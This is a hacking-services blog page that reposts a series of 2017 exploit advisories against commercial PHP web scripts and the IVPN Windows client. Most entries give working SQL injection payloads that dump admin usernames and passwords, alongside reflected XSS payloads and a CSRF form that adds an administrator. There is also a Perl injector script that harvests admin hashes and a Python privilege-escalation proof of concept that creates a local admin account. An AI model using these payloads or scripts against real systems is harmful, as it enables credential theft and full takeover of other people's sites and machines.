Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863585071

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# # # # # 
# Exploit Title: Takas Classified – Codeigniter PHP Classified Ad Script v1.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://artifectx.com/
# Software Buy: https://codecanyon.net/item/takas-classified-codeigniter-php-classified-ad-script/15227824
# Demo: http://takas.artifectx.com/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/classified_ads/ads/?&subcatid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&catid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&locid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&areaid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&type=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&post=[SQL]
# Etc... Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Collabo - TeamBusiness Collaboration Network - Arbitrary File Download
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://321-internet.com/
# Software Buy: https://codecanyon.net/item/collabo-teambusiness-collaboration-network/15242543
# Demo: http://321-internet.com/codecanyon/collabo/demo/collabo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/download.php?file_id=[FILE]&file_name=Ihsan_Sencan&file_type=php
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Youtube Analytics Multi Channel v3.0 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/youtube-analytics-multi-channel/14720919
# Demo: http://demo.vtcreators.com/yamc/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/user_management/update?id=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title:  Gram Post - Instagram Auto Post Multi Accounts with Paypal integration v1.0 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/gram-post-instagram-auto-post-multi-accounts-with-paypal-integration/19264650
# Demo: http://demo.vtcreators.com/grampost/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/instagram_accounts/update?id=[SQL]
# -9999'+/*!50000union*/+select+group_concat(email,char(58),password),2,3,4,5,6+from+user_management-- -
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Tiger Post - Facebook Auto Post Multi Pages/Groups/Profiles  v3.0.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/tiger-post-facebook-auto-post-multi-pagesgroupsprofiles/15279075
# Demo: http://demo.vtcreators.com/tigerpost/
# Version: 3.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/user_management/update?id=[SQL]
# -999'+/*!50000union*/+select+1,2,3,4,group_concat(email,char(58),password),0x496873616e2053656e63616e,7,8,9,10,11,12+from+user_management-- -
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Creative Management System - CMS Lite v1.3.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://www.cmslite.co.uk/
# Software Buy: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://www.cmslite.co.uk/
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?Style=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: NewsBee - Fully Featured News CMS Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Demo: http://demos.nelliwinne.net/NewsBee/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video.php?id=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6,7+from+admin-- -
# Etc....Other files have vulnerabilities ...
# # # # #
HireHackking 
# Exploit IVPN Client for Windows 2.6.6120.33863 Privilege Escalation
# Date: 06.02.2017
# Software Link: https://www.ivpn.net/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
 
1. Description

It is possible to run `openvpn` as `SYSTEM` with custom openvpn.conf.

Using `--up cmd` we can execute any command.

https://security.szurek.pl/ivpn-client-for-windows-26612033863-privilege-escalation.html

2. Proof of Concept

import socket

print "IVPN Client for Windows 2.6.6120.33863 Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

hostname = "is.gw.ivpn.net 2049"
username = "your_username"
password = "your_password"

open(r'c:\\1\\test.bat', 'w').write('net user hacked /add\nnet localgroup administrators hacked /add')

port = int(open(r"c:\Program Files\IVPN Client\etc\port.txt").read())

a = r'{"$type":"IVPN.OpenVPNServer, IVPN.Core","id":"id","region":"region","country":"country","city":"city","hostnames":{"$type":"System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib","$values":["'+hostname+r'\r\nup c:\\\\\\\\1\\\\\\\\test.bat\r\nverb"]},"ports":{"$type":"System.Collections.Generic.List`1[[IVPN.OpenVPNServerPort, IVPN.Core]], mscorlib","$values":[{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000}]}}'

b = r'{"$type":"IVPN.IVPNConnectRequest, IVPN.Core","entryServer":'+a+',"exitServer":'+a+',"username":"'+username+'","password":"'+password+'","portProtocol":{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000},"proxyType":"sth","proxyAddress":"proxyAddress","proxyPort":100,"proxyUsername":"proxyUsername","proxyPassword":"proxyPassword"}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", port))
s.send(b)

print "OK"

3. Solution

Update to version 2.6.2

https://www.ivpn.net/setup/windows-changelog.html
HireHackking 
# # # # # 
# Exploit Title: Flippy Answers – Questions and Answers Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-answers-questions-and-answers-script/
# Demo: http://answers.flippydemos.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?cid=[SQL]
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,adminuser,0x3a,adminpassword),14,15,16,17,18,19,20,21,23+from+admin-- -
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy DamnFacts – Viral Fun Facts Sharing Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-damnfacts-viral-fun-facts-sharing-script/
# Demo: http://damnfacts.flippydemos.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/fact.php?id=[SQL]
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8,9,10,11,12+from+admin-- -
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy Inspired – Web Inspiration Gallery Script v1.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-inspired-web-inspiration-gallery-script/
# Demo: http://inspired.flippydemos.com/
# Version: 1.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/site.php?id=[SQL]
# -9999+/*!50000union*/+select+concat_ws(0x3a,username,0x3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+administrator--
# # # # #
HireHackking 
Exploit Title: NewsBee CMS – SQL Injection
Date: 06.02.2017
Software Link: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937?s_rank=2
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

NewsBee is a Fully Featured News Site CMS (Content Management System). This CMS Includes almost everything you need to make a News Site easily and Creatively. The In build Features will help you to easily manage the site contents not only news articles, but also many other related contents which are commonly used in news sites.
Vulnerabilities:

SQL Injection

URL : http://localhost/newsbee/30[payload]_news_thai_soccer_targets_asia_wide_goals.html

Payload:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/newsbee/30' AND 5694=5694 AND 'fpmw'='fpmw_news_thai_soccer_targets_asia_wide_goals.html

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost/newsbee/30' AND (SELECT 4020 FROM(SELECT COUNT(*),CONCAT(0x717a767a71,(SELECT (ELT(4020=4020,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Tdxc'='Tdxc_news_thai_soccer_targets_asia_wide_goals.html

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: http://localhost/newsbee/30' OR SLEEP(5) AND 'VLvJ'='VLvJ_news_thai_soccer_targets_asia_wide_goals.html
---
HireHackking 
# # # # # 
# Exploit Title: Flippy HotViral – Viral Pictures and Video Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-hotviral-viral-funny-pictures-and-video-script/
# Demo: http://hotviral.flippyscripts.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/picture.php?id=[SQL]
# 7-9999+/*!50000union*/+select+1,2,concat_ws(0x3a,adminuser,0x3a,adminpassword),4,5,6,7,8+from+admin-- -
#
# http://localhost/[PATH]/video.php?id=[SQL]
# 7-9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8+from+admin-- -
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy ScriptZone – Clone Script Directory Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-scriptzone-clone-script-directory-script/
# Demo: http://scriptzone.flippyscripts.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/cat.php?cid=[SQL]
# Etc...
-9999'+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,0x494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admin-- -
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy ChillOut – Funny Image and Video Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-chillout-funny-image-and-video-script/
# Demo: http://chillout.flippydemos.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/post.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+concat_ws(0x3a,adminuser,0x3a,adminpassword),2,3,4,5,6,7,8,9,10,11+from+admin--
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy LinkShare – Visual Link Sharing Websites Builder Script v2.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-linkshare-visual-link-sharing-websites-builder/
# Demo: http://linkshare2.flippydemos.com/
# Version: 2.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/profile.php?id=[SQL]
# http://localhost/[PATH]/cat.php?cid=[SQL]
# http://localhost/[PATH]/user_posts.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+1,2,3,4,concat_ws(0x3a,adminuser,0x3a,adminpassword),6,7,8,9,10,11,12,13,14,15+from+admin--
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy eXtremeViral – Ultimate Viral Media Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-extremeviral-ultimate-viral-media-script/
# Demo: http://eviral.flippyscripts.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video.php?id=[SQL]
# http://localhost/[PATH]/picture.php?id=[SQL]
-9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword,0x3c62723e494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574),3,4,5,6,7,0x564552204159415249203a29,9,10,11,12,13,14,15,16+from+admin--
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy BuzzWorthy – Upworthy Clone Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-buzzworthy-upworthy-clone-script/
# Demo: http://buzzworthy.flippydemos.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/post.php?id=[SQL]
-267+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Flippy AffilatePlatform – ThisIsWhyImBroke Clone Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-affilateplatform-affilate-site-builder-script/
# Demo: http://ap.flippydemos.com/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/listing.php?id=[SQL]
-21+/*!50000union*/+select+1,version(),3,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),5,6,7,8,9,10,11,12,14,15,16,17
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/listing.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,0x494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574,5,6,7,8,9,10,11,12,13,14,15,16+from+admin--
# # # # #
HireHackking 
# # # # # 
# Exploit Title: iScripts EasyCreate v3.2 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.iscripts.com/
# Software Buy: http://www.iscripts.com/easycreate/
# Demo: http://www.demo.iscripts.com/easycreate/demo//
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/getsitedetails.php?action=editsite&siteid=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: iScripts AutoHoster v3.0 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.iscripts.com/
# Software Buy: http://www.iscripts.com/autohoster/
# Demo: http://www.demo.iscripts.com/autohoster/demo/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/websitebuilder/getsitedetails.php?action=editsite&siteid=[SQL]
# # # # #
HireHackking 
# Exploit Title 	:  Itech Job Portal Script - Multiple Vulnerabilities
# Author 		:  Yunus YILDIRIM (Th3GundY)
# Team 			:  CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website 		:  http://www.yunus.ninja
# Contact 		:  yunusyildirim@protonmail.com

# Vendor Homepage 	: http://itechscripts.com/
# Software Link  	: http://itechscripts.com/job-portal-script/
# Vuln. Version	  	: 9.13
# Demo			: http://job-portal.itechscripts.com/


# # # #  DETAILS  # # # # 

SQL Injections :

# 1
http://localhost/career_advice_details.php?cid=5
    Parameter: cid (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: cid=5' AND 7504=7504-- zpmu

        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind (comment)
        Payload: cid=5' OR SLEEP(5)#

# 2
http://localhost/news_details_us.php?nid=1
    Parameter: nid (GET)
        Type: boolean-based blind
        Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
        Payload: nid=1' RLIKE (SELECT (CASE WHEN (2796=2796) THEN 1 ELSE 0x28 END))-- WmMl

        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: nid=1' OR SLEEP(5)-- UoUN

# # # # # # # # # # # # # # # # # # # # # # # # 

Cross site scriptings (XSS) :

# 1
http://localhost/search_result_alluser.php?function="><svg/onload=prompt('CT-Zer0');>
    Parameter: function (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 2
http://localhost/search_result_alluser.php?ind="><svg/onload=prompt('CT-Zer0');>
    Parameter: ind (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 3
http://localhost/search_result_alluser.php?loc="><svg/onload=prompt('CT-Zer0');>
    Parameter: loc (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 4
http://localhost/search_result_alluser.php?compid="><svg/onload=prompt('CT-Zer0');>
    Parameter: compid (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 5
http://job-portal.itechscripts.com/search_result_alluser.php?days_chk="><svg/onload=prompt('CT-Zer0');>
    Parameter: days_chk (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>
HireHackking 
#!/usr/bin/perl -w
# # # # # 
# Exploit Title: AlstraSoft Template Seller Pro v3.25e Script (buy.php)- Remote SQL Injection Vulnerability
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/template.htm
# Demo: http://blizsoft.com/templates/
# Version: 3.25e
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "| Template Seller Pro v3.25e Remote SQL Injector     |\n";
print "| Author: Ihsan Sencan                               |\n";
print "| Author Web: http://ihsan.net                       |\n";
print "| Mail : ihsan[beygir]ihsan[nokta]net                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$elicha="group_concat(user_name,char(58),user_password)";
$table="UserDB";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "buy.php?tempid=-1+union+select+1,2,3,".$elicha.",5,6,7,8+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !!\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
HireHackking 
# # # # # 
# Exploit Title: AlstraSoft Forum Pay Per Post Exchange v2.01 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/forum-pay-per-post-exchange.htm
# Demo: http://blizsoft.com/forum/
# Version: 2.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?menu=forum_catview&catid=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: AlstraSoft FMyLife Pro v1.02 Script - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/fmylife-pro.htm
# Demo: http://www.tellaboutit.com/
# Version: 1.02
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
<html>
<body>
<h2>Add an Administrator</h2>
<form action="http://localhost/[PATH]/admin/" method="post">
<div id="add-admin-form">
<input type="hidden" name="action" value="add-admin" />
<label for="username">Username:</label>
<input type="text" id="username" name="admin-username" value="" />
<div class="spacer"></div>
<label for="password">Password:</label>
<input type="password" id="password" name="admin-password" value="" />
<div class="spacer"></div>
<input type="submit" name="Sumbit" name="add-admin" id="add-admin" value="Add Administrator" />
</div>
</form>
</body>
</html>
# # # # #